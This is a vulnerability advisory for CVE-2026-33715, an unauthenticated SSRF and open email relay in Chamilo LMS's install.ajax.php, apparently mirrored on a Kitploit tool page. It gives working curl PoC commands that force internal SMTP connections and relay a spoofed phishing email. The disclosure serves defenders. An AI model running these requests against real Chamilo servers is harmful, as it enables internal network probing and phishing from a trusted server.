Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33715 — Unauthenticated SSRF and open email relay in Chamilo LMS — CVE-2026-33715 / CVSS 7.2 | Kitploit
도구/GitHubGitHub/romain-deperne/cve-2026-33715
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPhishing
GitHubromain-deperne/cve-2026-33715

CVE-2026-33715

Unauthenticated SSRF and open email relay in Chamilo LMS — CVE-2026-33715 / CVSS 7.2

저장소 보기
98일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-33715 — Unauthenticated SSRF + Open Email Relay in Chamilo LMS via install.ajax.php

Severity: High (CVSS 7.2) CWE: CWE-918 (SSRF) + CWE-306 (Missing Authentication) Affected: chamilo/chamilo-lms 2.0-RC.2 Fixed in: 2.0-RC.3 Advisory: GHSA-mxc9-9335-45mc NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715 Credit: Romain Deperne

TL;DR

install.ajax.php in Chamilo LMS 2.0 is accessible without authentication on fully installed instances. Its test_mailer action accepts an arbitrary Symfony Mailer DSN and destination from POST data, allowing any unauthenticated attacker to force the server to initiate SMTP connections to arbitrary internal hosts (SSRF) and send emails through the Chamilo server as an open relay.

Analysis

I was auditing Chamilo LMS after noticing it had accumulated several CVEs but not been deeply audited on its AJAX endpoints. My approach: list all files in public/main/inc/ajax/ and check whether each one starts with require_once __DIR__.'/../global.inc.php' — the inclusion that enforces authentication across the codebase.

install.ajax.php was the exception. It only includes the Composer autoloader. The filename already suggested it was leftover installation code — and grep-ing for test_mailer inside it confirmed it accepts a raw Symfony Mailer DSN string from POST data and passes it directly to Transport::fromDsn().

That's a complete SSRF primitive: an unauthenticated attacker controls the protocol, host, and port that the server connects to. The fact that it sends an actual email through whatever transport you configure turns it into an open relay as well. I confirmed with a simple curl that the endpoint was reachable without any session cookie on a fully installed instance.

The root cause is architectural: the file bypasses Symfony's security firewall because Apache's RewriteCond %{REQUEST_FILENAME} !-f passes existing PHP files directly to PHP, never hitting the front controller.

Affected component

File: public/main/inc/ajax/install.ajax.php

The file was designed for the installation wizard but remains accessible after installation. Unlike every other AJAX endpoint in the same directory, it does not include global.inc.php — meaning zero authentication, zero authorization check:

root@kitploit:~
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';

The test_mailer action (line ~138) accepts attacker-controlled POST parameters:

root@kitploit:~
case 'test_mailer':
    $mailerDsn = (string) $request->request->get('mailerDsn');           // arbitrary SMTP DSN
    $mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
    // ...
    $transport = Transport::fromDsn($mailerDsn);  // connects to attacker's SMTP server
    $mailer = new Mailer($transport);
    $mailer->send($email);                         // sends email through it

Compare with any properly protected endpoint:

root@kitploit:~
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php';  // enforces authentication
api_block_anonymous_users();

Root cause

The file is served directly by Apache (RewriteCond %{REQUEST_FILENAME} !-f passes existing PHP files through, bypassing Symfony's security firewall). The absence of global.inc.php inclusion means no session, no auth, no installation-complete check.

PoC

See poc.py for a full demonstration.

root@kitploit:~
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://10.0.0.1:25" \
  -d "[email protected]" \
  -d "mailerFromName=Test" \
  -d "[email protected]"

# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
  -d "mailerDsn=smtp://mail.chamilo.org:587" \
  -d "[email protected]" \
  -d "mailerFromName=Chamilo Security" \
  -d "[email protected]"

Impact

  1. SSRF — unauthenticated attacker forces the server to initiate SMTP connections to arbitrary internal hosts, enabling internal network reconnaissance and potential exploitation of internal mail servers
  2. Open email relay — the Chamilo server sends emails with attacker-controlled content to any destination, appearing to originate from the server's legitimate IP, damaging email reputation
  3. Information disclosure — SMTP error responses reveal internal network topology and service availability

Timeline

  • Discovery: 2026-03-22
  • Reported: GHSA-mxc9-9335-45mc (private advisory)
  • CVE published: CVE-2026-33715
도구 다운로드